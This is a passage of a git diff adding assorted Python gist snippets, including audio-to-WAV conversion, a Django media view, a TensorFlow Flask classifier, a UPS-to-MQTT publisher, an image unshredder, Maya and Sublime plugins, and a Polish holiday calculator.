+    # frames = (struct.pack('h', int(s*self.amp)) for s in sine_list)
+    frames = ''.join(frames)
+    for x in xrange(0, 7200):
+        wavfile.writeframes(frames)
+    wavfile.close()
+    print("%s written" %(filename))
+    
+    
+if __name__ == "__main__":
+    if len(sys.argv) <= 1:
+        print "You must supply a filename to generate"
+        exit(-1)
+    for fname in sys.argv[1:]:
+        data = []
+        for time, value in csv.reader(open(fname, 'U'), delimiter=','):
+            try:
+                data.append(float(value))
+            except ValueError:
+                pass # Just skip it
+        print "Generating wave file from %d samples" % (len(data),)
+        arr = numpy.array(data)
+        # Normalize data
+        arr /= numpy.max(numpy.abs(data))
+        filename_head, extension = fname.rsplit(".", 1)
+        # Resample normalized data to 44.1 kHz
+        target_samplerate = 44100
+        sampled = resample(arr, target_samplerate/100000.0, 'sinc_best')
+        write_wav(sampled, filename_head + ".wav", 100000, 32700)
\ No newline at end of file
diff --git a/hard-gists/1776202/._snippet.py b/hard-gists/1776202/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1776202/._snippet.py differ
diff --git a/hard-gists/1776202/snippet.py b/hard-gists/1776202/snippet.py
new file mode 100644
index 00000000..d31fe70d
--- /dev/null
+++ b/hard-gists/1776202/snippet.py
@@ -0,0 +1,28 @@
+# https://gist.github.com/1776202
+
+from os.path import join
+from django.http import HttpResponse
+from django.views.static import serve
+from django.conf import settings
+
+
+USE_X_ACCEL_REDIRECT = getattr(settings, 'USE_X_ACCEL_REDIRECT', False)
+X_ACCEL_REDIRECT_PREFIX = getattr(settings, 'X_ACCEL_REDIRECT_PREFIX', '')
+
+
+def serve_media(request, file_path):
+    """
+    Django view that serves a media file using X_ACCEL_REDIRECT_PREFIX if
+    USE_X_ACCEL_REDIRECT is enabled in settings, or django.views.static.serve
+    if not (for development and testing).
+    """
+
+    if USE_X_ACCEL_REDIRECT:
+        response = HttpResponse('')
+        response['X-Accel-Redirect'] = join('/', X_ACCEL_REDIRECT_PREFIX, file_path)
+        response['Content-Type'] = ''
+
+    else:
+        response = serve(request, file_path, settings.MEDIA_ROOT)
+
+    return response
diff --git a/hard-gists/177e37756c833768a21d446cc4921c6e/._snippet.py b/hard-gists/177e37756c833768a21d446cc4921c6e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/177e37756c833768a21d446cc4921c6e/._snippet.py differ
diff --git a/hard-gists/177e37756c833768a21d446cc4921c6e/snippet.py b/hard-gists/177e37756c833768a21d446cc4921c6e/snippet.py
new file mode 100644
index 00000000..c7d7264b
--- /dev/null
+++ b/hard-gists/177e37756c833768a21d446cc4921c6e/snippet.py
@@ -0,0 +1,162 @@
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import os.path
+import re
+import sys
+import tarfile
+
+import numpy as np
+from six.moves import urllib
+import tensorflow as tf
+
+from flask import Flask, request, Response, jsonify
+app = Flask(__name__)
+
+# import default command line flags from TensorFlow
+FLAGS = tf.app.flags.FLAGS
+
+# define directory that the model is stored in (default is the current directory)
+tf.app.flags.DEFINE_string(
+  'model_dir', '.',
+  """Path to output_graph.pb, """
+  """output_labels.txt""")
+
+tf.app.flags.DEFINE_integer('num_top_predictions', 5,
+                            """Display this many predictions.""")
+
+# Classificaiton endpoint
+@app.route("/classify", methods=["POST"])
+def classify():
+  predictions = dict(run_inference_on_image(request.data))
+  print(predictions)
+  return jsonify(predictions=predictions)
+
+# The following code performs the recognition, and is derived from the examples
+# provided in the Tensorflow package
+# ==============================================================================
+#
+# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+# ==============================================================================
+
+"""Simple image classification with Inception.
+
+Run image classification with Inception trained on ImageNet 2012 Challenge data
+set.
+
+This program creates a graph from a saved GraphDef protocol buffer,
+and runs inference on an input JPEG image. It outputs human readable
+strings of the top 5 predictions along with their probabilities.
+
+Change the --image_file argument to any jpg image to compute a
+classification of that image.
+
+Please see the tutorial and website for a detailed description of how
+to use this script to perform image recognition.
+
+https://tensorflow.org/tutorials/image_recognition/
+"""
+
+
+class NodeLookup(object):
+  """Converts integer node ID's to human readable labels."""
+
+  def __init__(self, label_lookup_path=None):
+    if not label_lookup_path:
+      label_lookup_path = os.path.join(
+          FLAGS.model_dir, 'output_labels.txt')
+
+    self.node_lookup = self.load(label_lookup_path, uid_lookup_path)
+
+  def load(self, label_lookup_path):
+    """Loads a human readable English name for each softmax node.
+
+    Args:
+      label_lookup_path: string UID to integer node ID.
+
+    Returns:
+      dict from integer node ID to human-readable string.
+    """
+
+    node_id_to_name = {}
+
+    label_file = open(label_lookup_path)
+    i = 0
+
+    # labels are ordered from 0 to N in the lookup file
+
+    for line in label_file:
+      node_id_to_name[i] = line.strip()
+      i = i + 1
+
+    return node_id_to_name
+
+  # return the friendly name for the given node_id
+  def id_to_string(self, node_id):
+    if node_id not in self.node_lookup:
+      return ''
+    return self.node_lookup[node_id]
+
+
+def create_graph():
+  """Creates a graph from saved GraphDef file and returns a saver."""
+  # Creates graph from saved graph_def.pb.
+  with tf.gfile.FastGFile(os.path.join(
+      FLAGS.model_dir, 'output_graph.pb'), 'rb') as f:
+    graph_def = tf.GraphDef()
+    graph_def.ParseFromString(f.read())
+    _ = tf.import_graph_def(graph_def, name='')
+
+sess = None
+node_lookup = None
+
+def run_inference_on_image(image_data):
+  """Runs inference on an image.
+
+  Args:
+    image_data: Image data.
+
+  Returns:
+    Nothing
+  """
+  
+  # Runs the softmax tensor by feeding the image_data as input to the graph.
+  softmax_tensor = sess.graph.get_tensor_by_name('final_result:0')
+  predictions = sess.run(softmax_tensor, {'DecodeJpeg/contents:0': image_data})
+  predictions = np.squeeze(predictions)
+
+  # sort the predictions
+  top_k = predictions.argsort()[-FLAGS.num_top_predictions:][::-1]
+
+  # map to the friendly names and return the tuples
+  return [(node_lookup.id_to_string(node_id), float(predictions[node_id])) for node_id in top_k]
+
+
+
+if __name__ == '__main__':
+
+  create_graph()
+  print("Model loaded")
+
+  node_lookup = NodeLookup()
+  print("Node lookup loaded")
+
+  sess = tf.Session()
+  print("Tensorflow session ready")
+
+  print("Launching web application...")
+  app.run()
+  
\ No newline at end of file
diff --git a/hard-gists/1780878/._snippet.py b/hard-gists/1780878/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1780878/._snippet.py differ
diff --git a/hard-gists/1780878/snippet.py b/hard-gists/1780878/snippet.py
new file mode 100644
index 00000000..a61d1953
--- /dev/null
+++ b/hard-gists/1780878/snippet.py
@@ -0,0 +1,52 @@
+#!/usr/bin/python
+
+# Script to poll the UPS (via apcupsd) and publish interesting facts to
+# MQTT. 
+
+# Published under GPL3+ by Andrew Elwell <Andrew.Elwell@gmail.com>
+
+
+import subprocess
+# we use mosquitto for the MQTT part
+import mosquitto
+
+
+# which status messages to publish. We use upsname as part of the topic
+interesting = ('status', 'linev', 'loadpct', 'battv', 'bcharge')
+apc_status = {}
+
+res = subprocess.check_output("/sbin/apcaccess")
+for line in res.split('\n'):
+    (key,spl,val) = line.partition(': ')
+    key = key.rstrip().lower()
+    # tempted to also remove units from val also
+    val = val.strip()
+    apc_status[key] = val
+    #print "K:%s V:%s" % (key,val)
+
+
+def on_connect(rc):
+	print "rc: ", rc
+
+def on_message(msg):
+	print msg.topic,msg.qos,msg.payload
+
+def on_publish(mid):
+	print "mid:", mid
+
+def on_subscribe(mid, granted_qos):
+	print "Subscribed:",mid,granted_qos
+	
+
+mqttc = mosquitto.Mosquitto("python_pub")
+mqttc.on_message = on_message
+mqttc.on_connect = on_connect
+mqttc.on_publish = on_publish
+mqttc.on_subscribe = on_subscribe
+mqttc.connect("test.mosquitto.org", 1883, 60, True)
+# mqttc.subscribe("$SYS/#", 0)
+
+for thing in interesting:
+    #print ">K:%s V:%s<" % (thing,apc_status[thing])
+    #print "/apc/%s/%s %s" % (apc_status['upsname'],thing,apc_status[thing])
+    mqttc.publish("apc/%s/%s" % (apc_status['upsname'],thing), apc_status[thing])
diff --git a/hard-gists/1788517/._snippet.py b/hard-gists/1788517/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1788517/._snippet.py differ
diff --git a/hard-gists/1788517/snippet.py b/hard-gists/1788517/snippet.py
new file mode 100644
index 00000000..511b7d84
--- /dev/null
+++ b/hard-gists/1788517/snippet.py
@@ -0,0 +1,174 @@
+#!/usr/bin/python
+
+# This script unshreds a shredded image (visit http://bit.ly/sCMAD5 for details)
+# author: Zoreslav Khimich <zoreslav.khimich@gmail.com>
+
+from PIL import Image, ImageChops, ImageStat
+from argparse import ArgumentParser
+import sys, heapq
+
+MAGIC_THRESHOLD = 11 # carefully handpicked to work with your reference input
+
+# calculate per-channel image difference and binarize the result, returns image
+def image_diff(edge1, edge2):
+    diff = ImageChops.difference(edge1, edge2) # abs(edge1-edge2)
+    return Image.eval(diff, lambda i: i>MAGIC_THRESHOLD and 1) # binarize
+
+# heuristics based on aggregate per-pixel difference; returns score (larger score = more differences)
+def edge_score(edge1, edge2):
+    edge_sum_rgb = ImageStat.Stat(image_diff(edge1, edge2)).sum
+    return sum(edge_sum_rgb) # R+G+B
+
+# vertical blur (5px mean, used for filtering out high frequencies)
+def vblur(image):
+    const_ = Image.new(image.mode, image.size)
+    o = (ImageChops.add(ImageChops.offset(image, 0, d), const_, scale=5) for d in range(-2, 3))
+    return reduce(ImageChops.add, o)
+
+# unshred an image given known column width; returns iterable of column indices
+def find_sequence(image, col_width):
+    width, height = image.size;
+    cols = width / col_width
+
+    # extract edges (1px strip from left & right side of each column)
+    left_edges = []
+    right_edges = []
+    for i in range(cols):
+        left_edges+=vblur(image.crop((i*col_width, 0, i*col_width+1, height))),
+        right_edges+=vblur(image.crop(((i+1)*col_width-1, 0, (i+1)*col_width, height))),
+
+    # precalc fitness scores for each column pair
+    scores = []
+    for i in range(cols):
+        row = []
+        for j in range(cols):
+            if i == j:
+                row += sys.maxint, # forget about i==j cases
+                continue
+            row += edge_score(left_edges[i], right_edges[j]),
+        scores += row,
+
+    # find the best column to start reconstruction from
+    best_starter = -1
+    bst_left_score = bst_right_score = sys.maxint
+    for i in range(cols):
+        loc_best_l = min(scores[i])
+        loc_best_r = min(scores[j][i] for j in range(cols))
+        if loc_best_l < bst_left_score and loc_best_r < bst_right_score:
+            bst_left_score = loc_best_l
+            bst_right_score = loc_best_r
+            best_starter = i
+
+    remain = range(cols)
+    remain.remove(best_starter)
+    result = [best_starter,]
+
+    # rebuild the rest of the f-ng owl
+    while remain:
+        #uncomment to dump step by step vis to files:
+        #reorder_shreds(image, result, col_width).save('%d.jpg'%len(result))
+        left = result[0]
+        right = result[-1]
+        left_score, left_idx = min((scores[left][rem_i], rem_i) for rem_i in remain)
+        right_score, right_idx = min((scores[rem_i][right], rem_i) for rem_i in remain)
+        if left_score < right_score:
+            # put left
+            remain.remove(left_idx)
+            result.insert(0, left_idx)
+        else:
+            # put right
+            remain.remove(right_idx)
+            result.append(right_idx)
+    return result
+
+# reorder columns /given sequence; returns new image
+def reorder_shreds(image, new_order, col_width = None):
+    result = Image.new(image.mode, image.size)
+    width,height = image.size
+    if not col_width: col_width = width/len(new_order)
+    for i,j in enumerate(new_order):
+        col = image.crop((j*col_width, 0, (j+1)*col_width, height))
+        result.paste(col, (i*col_width, 0))
+    return result
+
+MAGIC_LINES_TO_CONSIDER = 5
+# heuristics based on longest continuous diff (similar to edge_score, but used for autodetection)
+def edge_line_score(l1, l2):
+    e = image_diff(l1, l2)
+    w,h = e.size
+    d = e.getdata()
+    counter = 0
+    lines = []
+    for v in d:
+        if sum(v) == 0:
+            if counter != 0:
+                heapq.heappush(lines, counter)
+                counter = 0
+            continue
+        counter+=1    
+    return sum(heapq.nlargest(MAGIC_LINES_TO_CONSIDER, lines))
+
+# autodetects column width, returns positive integer (pixels) or 0 if failed
+def detect_shred_width(image):
+    width,height = image.size
+    possible_col_no = filter(lambda x: 0==width%x, range(4, width/4+1))
+    
+    # estimates score for col. number hypothesis, higher score = more likely
+    def calc_score(cols):
+        col_width = width/cols
+        def line_score(x):
+            l1 = image.crop((x, 0, x+1, height))
+            l2 = image.crop((x-1, 0, x, height))
+            return edge_line_score(l1, l2)
+        l_scores = []
+        for i in range(1, cols):
+            pre_l, l, post_l = (line_score(col_width*i+d) for d in range(-1, 2))
+            l_scores += l-(pre_l+post_l),
+        return float(sum(l_scores)) / (cols-1)
+
+    # estimate score for all legit col numbers
+    scores = map(calc_score, possible_col_no)
+
+    # if the actual strip width is 32px, then 64, 128 and 256 will most probably
+    # get good score as well (same for 5, 10, 20, 40, etc)
+    # the following section tries to solve this by looking for the biggest
+    # column number with a (relatively) good score
+    best_guess = 1
+    best_score = 0
+    for score, guess in sorted(zip(scores, possible_col_no), reverse=True):
+        if score <= 0: continue
+        if guess > best_guess:
+            times = guess/best_guess
+            if score * times > best_score:
+                best_guess = guess
+                best_score = score
+    if best_score == 0:
+    	return 0
+    return width/best_guess
+
+# read file, autodetect width if needed, unshred, save
+def unshred(in_filename, out_filename, shred_width = None):
+    image = Image.open(in_filename)    
+    if not shred_width:
+        shred_width = detect_shred_width(image)
+        if not shred_width:
+        	print "Autodetection failed, try -w flag"
+        	return
+        print "Autodetected strip width %dpx" % shred_width
+    print "Unshredding..."
+    sequence = find_sequence(image, shred_width)
+    reorder_shreds(image, sequence).save(out_filename)
+    print "Done => %s" % out_filename
+
+# parse command line args
+def main():
+    parser = ArgumentParser(description="Unshred a shredded image")
+    parser.add_argument('input_image')
+    parser.add_argument('output_image')
+    parser.add_argument('--strip_width', '-w', help="force strip width W px. (disables autodetect)", type=int, default=0)
+    args = parser.parse_args()
+    unshred(args.input_image, args.output_image, args.strip_width)
+
+if __name__ == "__main__":
+    main()
+ 
\ No newline at end of file
diff --git a/hard-gists/1791644/._snippet.py b/hard-gists/1791644/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1791644/._snippet.py differ
diff --git a/hard-gists/1791644/snippet.py b/hard-gists/1791644/snippet.py
new file mode 100644
index 00000000..42cb3fd4
--- /dev/null
+++ b/hard-gists/1791644/snippet.py
@@ -0,0 +1,5 @@
+from compressor.filters import CompilerFilter
+
+
+class UglifyFilter(CompilerFilter):
+    command = "uglifyjs"
\ No newline at end of file
diff --git a/hard-gists/1792428/._snippet.py b/hard-gists/1792428/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1792428/._snippet.py differ
diff --git a/hard-gists/1792428/snippet.py b/hard-gists/1792428/snippet.py
new file mode 100644
index 00000000..4ca399a2
--- /dev/null
+++ b/hard-gists/1792428/snippet.py
@@ -0,0 +1,41 @@
+# This is a monkeyrunner jython script that opens a connection to an Android
+# device and starts camera app and makes photos by touching the camerabutton.
+#
+# See http://developer.android.com/guide/developing/tools/monkeyrunner_concepts.html
+#
+# usage: monkeyrunner photo_monkey.py
+#
+
+# Imports the monkeyrunner modules used by this program
+from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice
+
+# Connects to the current device
+device = MonkeyRunner.waitForConnection()
+
+# sets a variable with the package's internal name
+package = 'com.android.camera'
+
+# sets a variable with the name of an Activity in the package
+activity = 'com.android.camera.Camera'
+
+# sets the name of the component to start
+runComponent = package + '/' + activity
+
+# Runs the component
+device.startActivity(component=runComponent)
+
+# Position of the button
+#x = 62
+#y = 721
+
+x = 722
+y = 414
+
+pause = 5
+
+
+for i in range(1, 4):
+    # Every so often inject a touch to spice things up!
+    device.touch(x, y, 'DOWN_AND_UP')
+    MonkeyRunner.sleep(pause)
+    
\ No newline at end of file
diff --git a/hard-gists/1792732/._snippet.py b/hard-gists/1792732/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1792732/._snippet.py differ
diff --git a/hard-gists/1792732/snippet.py b/hard-gists/1792732/snippet.py
new file mode 100644
index 00000000..f6d3239f
--- /dev/null
+++ b/hard-gists/1792732/snippet.py
@@ -0,0 +1,192 @@
+#!/usr/bin/python
+"""
+Author: Jeremy M. Stober
+Program: TILES.PY
+Date: Monday, March 31 2008
+Description: A simple CMAC implementation.
+"""
+
+import os, sys, getopt, pdb
+from numpy import *
+from numpy.random import *
+import pylab
+from  mpl_toolkits.mplot3d import Axes3D
+import pickle
+
+pylab.ioff()
+
+
+class CMAC(object):
+
+    def __init__(self, nlevels, quantization, beta):
+        self.nlevels = nlevels
+        self.quantization = quantization
+        self.weights = {}
+        self.beta = beta
+
+    def save(self,filename):
+        pickle.dump(self,open(filename,'wb'),pickle.HIGHEST_PROTOCAL)
+
+    def quantize(self, vector):
+        """
+        Generate receptive field coordinates for each level of the CMAC.
+        """
+
+        quantized = (vector / self.quantization).astype(int)
+        coords = []
+
+        for i in range(self.nlevels):
+            # Note that the tile size is nlevels * quantization!
+
+            # Coordinates for this tile.
+            point = list(quantized - (quantized - i) % self.nlevels)
+
+            # Label the ith tile so that it gets hashed uniquely.
+            point.append(i)
+
+            coords.append(tuple(point))
+
+        return coords
+
+    def difference(self, vector, delta, quantized = False):
+        """
+        Train the CMAC using the difference instead of the response.
+        """
+
+        # Coordinates for each level tiling.
+        coords = None
+        if quantized == False:
+            coords = self.quantize(vector)
+        else:
+            coords = vector
+
+        error = self.beta * delta # delta = response - prediction
+
+        for pt in coords:
+            self.weights[pt] += error
+
+        return delta
+
+
+    def response(self, vector, response, quantized = False):
+        """
+        Train the CMAC.
+        """
+
+        # Coordinates for each level tiling.
+        coords = None
+        if quantized == False:
+            coords = self.quantize(vector)
+        else:
+            coords = vector
+
+        # Use Python's own hashing for storing feature weights. If you
+        # roll your own you'll have to learn about Universal Hashing.
+        prediction = sum([self.weights.setdefault(pt, 0.0) for pt in coords]) / len(coords)
+        error = self.beta * (response - prediction)
+
+        for pt in coords:
+            self.weights[pt] += error
+
+        return prediction
+
+    def __len__(self):
+        return len(self.weights)
+
+    def eval(self, vector, quantized = False):
+        """
+        Eval the CMAC.
+        """
+
+        # Coordinates for each level tiling.
+        coords = None
+        if quantized == False:
+            coords = self.quantize(vector)
+        else:
+            coords = vector
+
+        return sum([self.weights.setdefault(pt, 0.0) for pt in coords]) / len(coords)
+
+def test(name):
+
+    if name == 'sin':
+
+        cmac = CMAC(32, .01, 0.1)
+        points = uniform(low=0,high=2*pi,size=1000)
+        responses = sin(points)
+
+        errors = []
+        for (point,response) in zip(points,response):
+            predicted = cmac.response(array([point]),response)
+            errors.append(abs(response - predicted))
+            #print point, response, predicted
+
+        points = uniform(low=0, high=2*pi, size=100)
+        actual = []
+        for point in points:
+            actual.append(cmac.eval(array([point])))
+
+        pylab.figure(1)
+        pylab.plot(points,actual, '.')
+
+        pylab.figure(2)
+        pylab.plot(errors)
+
+        pylab.show()
+
+    elif name == 'wave':
+
+        cmac = CMAC(32, .1, 0.01)
+        points = uniform(low=0,high=2*pi,size=(10000,2))
+        responses = sin(points[:,0]) + cos(points[:,1])
+
+        errors = []
+        for (point,response) in zip(points,responses):
+            predicted = cmac.response(point,response)
+            errors.append(abs(response - predicted))
+            #print point, response, predicted
+
+
+        fig1 = pylab.figure(1)
+        #ax1 = fig1.add_subplot(111,projection='3d')
+        ax1 = Axes3D(fig1)
+        ax1.scatter(points[:,0], points[:,1], responses)
+
+        points = uniform(low=0,high=2*pi,size=(10000,2))
+        predictions = []
+        for point in points:
+            predictions.append(cmac.eval(point))
+
+        fig2 = pylab.figure(2)
+        #ax2 = fig2.add_subplot(111,projection='3d')
+        ax2 = Axes3D(fig2)
+        ax2.scatter(points[:,0], points[:,1], predictions)
+
+        # print len(cmac)
+        # pylab.plot(errors)
+        pylab.show()
+
+
+def main():
+
+    def usage():
+	print sys.argv[0] + "[-h] [-d]"
+
+    try:
+        (options, args) = getopt.getopt(sys.argv[1:], 'dh', ['help','debug'])
+    except getopt.GetoptError:
+        # print help information and exit:
+        usage()
+        sys.exit(2)
+
+    for o, a in options:
+        if o in ('-h', '--help'):
+            usage()
+            sys.exit()
+	elif o in ('-d', '--debug'):
+	    pdb.set_trace()
+
+    test('wave')
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/1795840/._snippet.py b/hard-gists/1795840/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1795840/._snippet.py differ
diff --git a/hard-gists/1795840/snippet.py b/hard-gists/1795840/snippet.py
new file mode 100644
index 00000000..0d2ae6af
--- /dev/null
+++ b/hard-gists/1795840/snippet.py
@@ -0,0 +1,128 @@
+import maya.OpenMaya as OpenMaya
+from maya.OpenMayaFX import MFnParticleSystem
+from maya.OpenMaya import MPoint, MPointOnMesh, MVector, MFloatPoint
+import maya.cmds as cmds
+
+
+import time
+from operator import itemgetter
+
+
+step = 100
+
+def fillOptimized():
+
+    sel = cmds.ls(sl=1)
+    if not sel:
+        print "no mesh selected !"
+        return
+
+    obj=sel[0]
+    objList = OpenMaya.MSelectionList()
+    objList.add(obj)
+    path = OpenMaya.MDagPath()
+    objList.getDagPath(0,path)
+    path.extendToShape()
+
+    closest = OpenMaya.MMeshIntersector()
+    closest.create(path.node(),path.inclusiveMatrix())
+
+    try:
+        cmds.particleFill(rs=step,maxX=1,maxY=1,maxZ=1,minX=0,minY=0,minZ=0,pd=1.0,cp=True)
+    except RuntimeError:
+        pass
+    
+    part = cmds.ls(sl=1)[0]
+    partShape = cmds.listRelatives(part,shapes=1)[0]
+
+    nplist  = OpenMaya.MSelectionList()
+    nplist.add(partShape)
+
+    npobj   = OpenMaya.MObject()
+    nplist.getDependNode(0,npobj)
+
+    npnode  = OpenMaya.MFnDependencyNode(npobj)
+    nplug   = npnode.findPlug("position")
+    nhdl    = nplug.asMDataHandle()
+    ndata   = OpenMaya.MFnVectorArrayData(nhdl.data())
+
+    radii    = OpenMaya.MDoubleArray()
+    points   = OpenMaya.MVectorArray() 
+    points.copy(ndata.array())
+
+    cmds.delete(part)
+
+    mpom = MPointOnMesh()
+    radii_index = {}
+
+    for p in xrange(points.length()):
+        vec = points[p]
+        point = MPoint(vec)
+        closest.getClosestPoint(point, mpom)
+        closestPoint = mpom.getPoint()
+        radius = point.distanceTo(MPoint(closestPoint))
+        radii_index[p] = (vec, point, radius) 
+
+
+    radii_sorted = sorted(radii_index.itervalues(), key=itemgetter(2), reverse=True)
+    newPoints = OpenMaya.MVectorArray()
+    newRadii  = OpenMaya.MDoubleArray()
+    
+    pointsRemain = lambda: len(radii_sorted)
+
+    while pointsRemain():
+        print "%s problem points still left..." % pointsRemain()
+
+        vec, p, radius = radii_sorted.pop(0)
+
+        newPoints.append(vec)
+        newRadii.append(radius*1.2)
+
+        for i in reversed(xrange(pointsRemain())):
+
+            vec2, p2, otherRadius = radii_sorted[i]
+
+            if p.distanceTo(p2) < (otherRadius + radius):
+                del radii_sorted[i]
+
+
+    #note: the default nParticle creation mode should be set to "points"
+            
+    part    = cmds.nParticle()[1]
+    plist   = OpenMaya.MSelectionList()
+    plist.add(part)
+    
+    newNPObj = OpenMaya.MObject()
+    dagPath = OpenMaya.MDagPath()
+    plist.getDependNode(0,newNPObj)
+    plist.getDagPath(0, dagPath)
+    name = dagPath.fullPathName()
+    
+    newNPNode   = OpenMaya.MFnDependencyNode(newNPObj)
+    newPosPlug  = newNPNode.findPlug("position")
+    newNPHdl    = newPosPlug.asMDataHandle()
+    newposdata  = OpenMaya.MFnVectorArrayData(newNPHdl.data())
+    newposdata.set(newPoints)
+    newPosPlug.setMObject(newposdata.object())
+    
+    prt = newNPNode.findPlug("particleRenderType")
+    prt.setInt(4)
+    
+    isg = newNPNode.findPlug("ignoreSolverGravity")
+    isg.setInt(1)
+    
+    tattr   = OpenMaya.MFnTypedAttribute()
+    rpp     = tattr.create("radiusPP","rpp",OpenMaya.MFnData.kDoubleArray)
+    newNPNode.addAttribute(rpp)
+    # rppPlug = newNPNode.findPlug("radiusPP")
+    # rpphdl  = rppPlug.asMDataHandle()
+    # rppdata = OpenMaya.MFnDoubleArrayData(rpphdl.data())
+    # rppdata.set(newRadii)
+    # rppPlug.setMObject(rppdata.object())
+
+    fnParticleSys = MFnParticleSystem(newNPObj)
+    fnParticleSys.setPerParticleAttribute("radiusPP", newRadii)
+
+        
+    print "finished."
+   
\ No newline at end of file
diff --git a/hard-gists/1805981/._snippet.py b/hard-gists/1805981/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1805981/._snippet.py differ
diff --git a/hard-gists/1805981/snippet.py b/hard-gists/1805981/snippet.py
new file mode 100644
index 00000000..40f69db9
--- /dev/null
+++ b/hard-gists/1805981/snippet.py
@@ -0,0 +1,37 @@
+import sublime, sublime_plugin, re
+
+DEBUG_ENABLED = False
+PRINT_CONTEXT = False
+
+# Toggle between single-line or multi-line formatted css statement
+# 
+# Add the following line to Preferences > Key Bindings - User
+# { "keys": ["ctrl+shift+j"], "command": "toggle_single_line_css" }
+# 
+# Credit: http://www.sublimetext.com/forum/viewtopic.php?f=6&t=2237
+
+class ToggleSingleLineCssCommand(sublime_plugin.TextCommand):
+    def run(self,edit):
+        debug('Invoked "toggle_single_line_css" with %d region(s)' % (len(self.view.sel())))
+        for region in reversed(self.view.sel()):
+            text = self.view.substr(region)
+
+            # check if the css statement needs to be expanded or collapsed
+            if re.match('^.*\{.*}\s*$', text):
+                 # expand the css statement
+                 debug('The css statement needs to be expanded', text)
+                 m = re.search('^(?P<key>.*)\{(?P<params>.*)\;\s*}$', text)
+                 multiline = '%s{\n\t%s;\n}' % (m.group('key'), m.group('params').strip().replace('; ', ';\n\t'))
+                 self.view.replace(edit, region, multiline)
+            else:
+                 debug('The css statement needs to be collapsed', text)
+                 # collapse the css statement
+                 singleline = ' '.join([x.strip() for x in text.split('\n')])
+                 self.view.replace(edit, region, singleline)
+
+
+def debug(text, context=""):
+    if DEBUG_ENABLED:
+        print '[toggle_single_line_css]: ' + text
+    if PRINT_CONTEXT and context != "":
+        print '>>> ' + context
\ No newline at end of file
diff --git a/hard-gists/1808234/._snippet.py b/hard-gists/1808234/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1808234/._snippet.py differ
diff --git a/hard-gists/1808234/snippet.py b/hard-gists/1808234/snippet.py
new file mode 100644
index 00000000..a83c5e8a
--- /dev/null
+++ b/hard-gists/1808234/snippet.py
@@ -0,0 +1,48 @@
+# -- coding: utf-8 --
+ 
+from win32api import *
+from win32gui import *
+import win32con
+import sys, os
+import struct
+import time
+ 
+class WindowsBalloonTip:
+    def __init__(self, title, msg):
+        message_map = {
+                win32con.WM_DESTROY: self.OnDestroy,
+        }
+        # Register the Window class.
+        wc = WNDCLASS()
+        hinst = wc.hInstance = GetModuleHandle(None)
+        wc.lpszClassName = "PythonTaskbar"
+        wc.lpfnWndProc = message_map # could also specify a wndproc.
+        classAtom = RegisterClass(wc)
+        # Create the Window.
+        style = win32con.WS_OVERLAPPED | win32con.WS_SYSMENU
+        self.hwnd = CreateWindow( classAtom, "Taskbar", style, \
+                0, 0, win32con.CW_USEDEFAULT, win32con.CW_USEDEFAULT, \
+                0, 0, hinst, None)
+        UpdateWindow(self.hwnd)
+        iconPathName = os.path.abspath(os.path.join( sys.path[0], "balloontip.ico" ))
+        icon_flags = win32con.LR_LOADFROMFILE | win32con.LR_DEFAULTSIZE
+        try:
+           hicon = LoadImage(hinst, iconPathName, \
+                    win32con.IMAGE_ICON, 0, 0, icon_flags)
+        except:
+          hicon = LoadIcon(0, win32con.IDI_APPLICATION)
+        flags = NIF_ICON | NIF_MESSAGE | NIF_TIP
+        nid = (self.hwnd, 0, flags, win32con.WM_USER+20, hicon, "tooltip")
+        Shell_NotifyIcon(NIM_ADD, nid)
+        Shell_NotifyIcon(NIM_MODIFY, \
+                         (self.hwnd, 0, NIF_INFO, win32con.WM_USER+20,\
+                          hicon, "Balloon  tooltip",title,200,msg))
+        # self.show_balloon(title, msg)
+        time.sleep(10)
+        DestroyWindow(self.hwnd)
+    def OnDestroy(self, hwnd, msg, wparam, lparam):
+        nid = (self.hwnd, 0)
+        Shell_NotifyIcon(NIM_DELETE, nid)
+        PostQuitMessage(0) # Terminate the app.
+def balloon_tip(title, msg):
+    w=WindowsBalloonTip(msg, title)
\ No newline at end of file
diff --git a/hard-gists/1810707/._snippet.py b/hard-gists/1810707/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1810707/._snippet.py differ
diff --git a/hard-gists/1810707/snippet.py b/hard-gists/1810707/snippet.py
new file mode 100644
index 00000000..03ed3be2
--- /dev/null
+++ b/hard-gists/1810707/snippet.py
@@ -0,0 +1,28 @@
+from datetime import date, timedelta
+from dateutil import easter
+from dateutil.relativedelta import *
+
+def get_holidays(year=2010):
+    """ Returns Polish hollidays dates (legally considered non-working days) """
+    easter_sunday = easter.easter(year)
+    holidays = {'New Year': date(year,1,1),
+                'Trzech Kroli': date(year,1,6),
+                'Easter Sunday': easter_sunday,
+                'Easter Monday': easter_sunday + timedelta(days=1),
+                'Labor Day': date(year,5,1),
+                'Constitution Day': date(year,5,3),
+                # 7th Sunday after Easter
+                # (notice days+1 - this is 7th Sunday excluding Easter Sunday
+                'Pentecost Sunday': easter_sunday + relativedelta(days=+1, weekday=SU(+7)),
+                # 9th Thursday after Easter
